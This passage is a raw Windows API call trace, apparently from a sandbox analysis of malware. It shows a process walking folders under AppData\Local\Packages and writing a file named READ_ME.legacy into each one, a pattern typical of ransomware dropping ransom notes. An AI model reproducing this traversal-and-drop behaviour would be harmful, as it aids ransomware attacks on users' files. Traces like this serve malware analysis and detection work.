RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0138.778] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578458 | out: hHeap=0x520000) returned 1 [0138.778] GetLastError () returned 0x0 [0138.778] SetLastError (dwErrCode=0x0) [0138.778] GetLastError () returned 0x0 [0138.778] SetLastError (dwErrCode=0x0) [0138.778] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8a48 [0138.778] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0138.778] GetLastError () returned 0x0 [0138.778] SetLastError (dwErrCode=0x0) [0138.778] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567aa8 [0138.778] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567490 [0138.779] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567aa8 | out: hHeap=0x520000) returned 1 [0138.779] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567490 | out: hHeap=0x520000) returned 1 [0138.779] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e41e68 [0138.779] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x2f405d0 [0138.779] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e40f50 [0138.779] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33f8 [0138.779] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3508 [0138.779] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5785c0 [0138.779] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0138.779] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5785c0 | out: hHeap=0x520000) returned 1 [0138.779] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8b10 [0138.779] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0138.779] GetLastError () returned 0x0 [0138.779] SetLastError (dwErrCode=0x0) [0138.779] GetLastError () returned 0x0 [0138.779] SetLastError (dwErrCode=0x0) [0138.779] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x563358 [0138.779] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8b10 | out: hHeap=0x520000) returned 1 [0138.779] GetLastError () returned 0x0 [0138.779] SetLastError (dwErrCode=0x0) [0138.779] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd0) returned 0x55b070 [0138.779] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.1_8wekyb3d8bbwe\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.net.native.framework.1.1_8wekyb3d8bbwe\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x744 [0138.959] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55b070 | out: hHeap=0x520000) returned 1 [0138.959] WriteFile (in: hFile=0x744, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0138.960] CloseHandle (hObject=0x744) returned 1 [0138.960] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563358 | out: hHeap=0x520000) returned 1 [0138.960] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3508 | out: hHeap=0x520000) returned 1 [0138.960] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33f8 | out: hHeap=0x520000) returned 1 [0138.960] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e40f50 | out: hHeap=0x520000) returned 1 [0138.960] FindNextFileW (in: hFindFile=0x60c218, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xebee37c7, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xebf2fc88, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xebf2fc88, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft.NET.Native.Framework.1.3_8wekyb3d8bbwe", cAlternateFileName="MICROS~2.3_8")) returned 1 [0138.960] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8a48 | out: hHeap=0x520000) returned 1 [0138.960] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5783c8 [0138.960] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0138.960] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5783c8 | out: hHeap=0x520000) returned 1 [0138.960] GetLastError () returned 0x0 [0138.960] SetLastError (dwErrCode=0x0) [0138.960] GetLastError () returned 0x0 [0138.960] SetLastError (dwErrCode=0x0) [0138.960] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8e30 [0138.960] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0138.961] GetLastError () returned 0x0 [0138.961] SetLastError (dwErrCode=0x0) [0138.961] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x5678c8 [0138.961] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567490 [0138.961] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5678c8 | out: hHeap=0x520000) returned 1 [0138.961] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567490 | out: hHeap=0x520000) returned 1 [0138.961] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e41c40 [0138.961] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x2f40698 [0138.961] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e41510 [0138.961] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33f8 [0138.961] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34c8 [0138.961] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578188 [0138.961] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0138.961] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578188 | out: hHeap=0x520000) returned 1 [0138.961] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e9150 [0138.961] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0138.961] GetLastError () returned 0x0 [0138.961] SetLastError (dwErrCode=0x0) [0138.961] GetLastError () returned 0x0 [0138.961] SetLastError (dwErrCode=0x0) [0138.961] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x563358 [0138.961] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9150 | out: hHeap=0x520000) returned 1 [0138.961] GetLastError () returned 0x0 [0138.962] SetLastError (dwErrCode=0x0) [0138.962] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd0) returned 0x55c078 [0138.962] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.3_8wekyb3d8bbwe\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.net.native.framework.1.3_8wekyb3d8bbwe\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x744 [0138.963] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55c078 | out: hHeap=0x520000) returned 1 [0138.963] WriteFile (in: hFile=0x744, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0138.963] CloseHandle (hObject=0x744) returned 1 [0138.964] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563358 | out: hHeap=0x520000) returned 1 [0138.964] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34c8 | out: hHeap=0x520000) returned 1 [0138.964] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33f8 | out: hHeap=0x520000) returned 1 [0138.964] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e41510 | out: hHeap=0x520000) returned 1 [0138.964] FindNextFileW (in: hFindFile=0x60c218, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x266a19e6, ftCreationTime.dwHighDateTime=0x1d32719, ftLastAccessTime.dwLowDateTime=0x34036ffb, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x34036ffb, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft.NET.Native.Framework.1.6_8wekyb3d8bbwe", cAlternateFileName="MICROS~1.6_8")) returned 1 [0138.964] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8e30 | out: hHeap=0x520000) returned 1 [0138.964] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578578 [0138.964] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0138.964] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578578 | out: hHeap=0x520000) returned 1 [0138.964] GetLastError () returned 0x0 [0138.964] SetLastError (dwErrCode=0x0) [0138.964] GetLastError () returned 0x0 [0138.964] SetLastError (dwErrCode=0x0) [0138.964] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e9538 [0138.964] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0138.964] GetLastError () returned 0x0 [0138.964] SetLastError (dwErrCode=0x0) [0138.964] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x5678c8 [0138.964] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567508 [0138.964] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5678c8 | out: hHeap=0x520000) returned 1 [0138.964] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567508 | out: hHeap=0x520000) returned 1 [0138.964] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e40f50 [0138.965] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x2f40738 [0138.965] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e41680 [0138.965] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34b8 [0138.965] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3548 [0138.965] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0138.965] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0138.965] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0138.965] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e9470 [0138.965] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0138.965] GetLastError () returned 0x0 [0138.965] SetLastError (dwErrCode=0x0) [0138.965] GetLastError () returned 0x0 [0138.965] SetLastError (dwErrCode=0x0) [0138.965] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x563358 [0138.965] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9470 | out: hHeap=0x520000) returned 1 [0138.965] GetLastError () returned 0x0 [0138.965] SetLastError (dwErrCode=0x0) [0138.965] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd0) returned 0x55ade8 [0138.965] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.6_8wekyb3d8bbwe\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.net.native.framework.1.6_8wekyb3d8bbwe\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x744 [0138.969] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55ade8 | out: hHeap=0x520000) returned 1 [0138.969] WriteFile (in: hFile=0x744, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0138.970] CloseHandle (hObject=0x744) returned 1 [0138.970] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563358 | out: hHeap=0x520000) returned 1 [0138.970] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3548 | out: hHeap=0x520000) returned 1 [0138.970] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34b8 | out: hHeap=0x520000) returned 1 [0138.970] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e41680 | out: hHeap=0x520000) returned 1 [0138.970] FindNextFileW (in: hFindFile=0x60c218, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf2252fd4, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x34273354, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x34273354, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft.NET.Native.Runtime.1.0_8wekyb3d8bbwe", cAlternateFileName="MICROS~2.0_8")) returned 1 [0138.970] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9538 | out: hHeap=0x520000) returned 1 [0138.970] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578530 [0138.970] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0138.970] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578530 | out: hHeap=0x520000) returned 1 [0138.970] GetLastError () returned 0x0 [0138.970] SetLastError (dwErrCode=0x0) [0138.970] GetLastError () returned 0x0 [0138.971] SetLastError (dwErrCode=0x0) [0138.971] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8a48 [0138.971] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0138.971] GetLastError () returned 0x0 [0138.971] SetLastError (dwErrCode=0x0) [0138.971] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556778 [0138.971] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x60f518 [0138.971] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556778 | out: hHeap=0x520000) returned 1 [0138.971] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60f518 | out: hHeap=0x520000) returned 1 [0138.971] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e41738 [0138.971] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x2f407d8 [0138.971] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e41cf8 [0138.971] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3478 [0138.971] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33c8 [0138.971] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578188 [0138.971] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0138.971] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578188 | out: hHeap=0x520000) returned 1 [0138.971] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e93a8 [0138.971] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0138.971] GetLastError () returned 0x0 [0138.971] SetLastError (dwErrCode=0x0) [0138.971] GetLastError () returned 0x0 [0138.971] SetLastError (dwErrCode=0x0) [0138.971] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x563358 [0138.971] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e93a8 | out: hHeap=0x520000) returned 1 [0138.972] GetLastError () returned 0x0 [0138.972] SetLastError (dwErrCode=0x0) [0138.972] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd0) returned 0x55b730 [0138.972] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Runtime.1.0_8wekyb3d8bbwe\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.net.native.runtime.1.0_8wekyb3d8bbwe\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x744 [0138.984] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55b730 | out: hHeap=0x520000) returned 1 [0138.984] WriteFile (in: hFile=0x744, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0138.985] CloseHandle (hObject=0x744) returned 1 [0138.985] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563358 | out: hHeap=0x520000) returned 1 [0138.985] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33c8 | out: hHeap=0x520000) returned 1 [0138.985] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3478 | out: hHeap=0x520000) returned 1 [0138.985] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e41cf8 | out: hHeap=0x520000) returned 1 [0138.985] FindNextFileW (in: hFindFile=0x60c218, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd08196, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x344af7fa, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x344af7fa, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft.NET.Native.Runtime.1.1_8wekyb3d8bbwe", cAlternateFileName="MICROS~2.1_8")) returned 1 [0138.985] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8a48 | out: hHeap=0x520000) returned 1 [0138.986] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578968 [0138.986] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0138.986] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578968 | out: hHeap=0x520000) returned 1 [0138.986] GetLastError () returned 0x0 [0138.986] SetLastError (dwErrCode=0x0) [0138.986] GetLastError () returned 0x0 [0138.986] SetLastError (dwErrCode=0x0) [0138.986] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e9150 [0138.986] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0138.986] GetLastError () returned 0x0 [0138.986] SetLastError (dwErrCode=0x0) [0138.986] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556778 [0138.986] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x60ee98 [0138.986] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556778 | out: hHeap=0x520000) returned 1 [0138.986] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60ee98 | out: hHeap=0x520000) returned 1 [0138.986] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e41458 [0138.986] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x2f40648 [0138.986] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e41008 [0138.986] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3418 [0138.986] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33f8 [0138.987] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5787b8 [0138.987] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0138.987] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5787b8 | out: hHeap=0x520000) returned 1 [0138.987] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e88b8 [0138.987] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0138.987] GetLastError () returned 0x0 [0138.987] SetLastError (dwErrCode=0x0) [0138.987] GetLastError () returned 0x0 [0138.987] SetLastError (dwErrCode=0x0) [0138.987] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x563358 [0138.987] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e88b8 | out: hHeap=0x520000) returned 1 [0138.987] GetLastError () returned 0x0 [0138.987] SetLastError (dwErrCode=0x0) [0138.987] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd0) returned 0x55ade8 [0138.987] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Runtime.1.1_8wekyb3d8bbwe\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.net.native.runtime.1.1_8wekyb3d8bbwe\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x744 [0139.000] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55ade8 | out: hHeap=0x520000) returned 1 [0139.000] WriteFile (in: hFile=0x744, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0139.000] CloseHandle (hObject=0x744) returned 1 [0139.001] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563358 | out: hHeap=0x520000) returned 1 [0139.001] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33f8 | out: hHeap=0x520000) returned 1 [0139.001] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3418 | out: hHeap=0x520000) returned 1 [0139.001] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e41008 | out: hHeap=0x520000) returned 1 [0139.001] FindNextFileW (in: hFindFile=0x60c218, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb85500d, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xeb8a14cb, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xeb8a14cb, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft.NET.Native.Runtime.1.3_8wekyb3d8bbwe", cAlternateFileName="MICROS~1.3_8")) returned 1 [0139.001] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9150 | out: hHeap=0x520000) returned 1 [0139.001] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5784e8 [0139.001] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0139.001] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5784e8 | out: hHeap=0x520000) returned 1 [0139.001] GetLastError () returned 0x0 [0139.001] SetLastError (dwErrCode=0x0) [0139.001] GetLastError () returned 0x0 [0139.001] SetLastError (dwErrCode=0x0) [0139.001] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8a48 [0139.001] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0139.001] GetLastError () returned 0x0 [0139.001] SetLastError (dwErrCode=0x0) [0139.001] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556778 [0139.001] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x60edc8 [0139.001] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556778 | out: hHeap=0x520000) returned 1 [0139.001] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60edc8 | out: hHeap=0x520000) returned 1 [0139.001] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e41510 [0139.001] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x2f40670 [0139.001] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e41008 [0139.001] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34b8 [0139.001] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3418 [0139.002] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5784a0 [0139.002] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0139.002] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5784a0 | out: hHeap=0x520000) returned 1 [0139.002] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8b10 [0139.002] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0139.002] GetLastError () returned 0x0 [0139.002] SetLastError (dwErrCode=0x0) [0139.002] GetLastError () returned 0x0 [0139.002] SetLastError (dwErrCode=0x0) [0139.002] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x563358 [0139.002] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8b10 | out: hHeap=0x520000) returned 1 [0139.002] GetLastError () returned 0x0 [0139.002] SetLastError (dwErrCode=0x0) [0139.002] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd0) returned 0x55b658 [0139.002] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Runtime.1.3_8wekyb3d8bbwe\\READ_ME.legacy" (normalized: 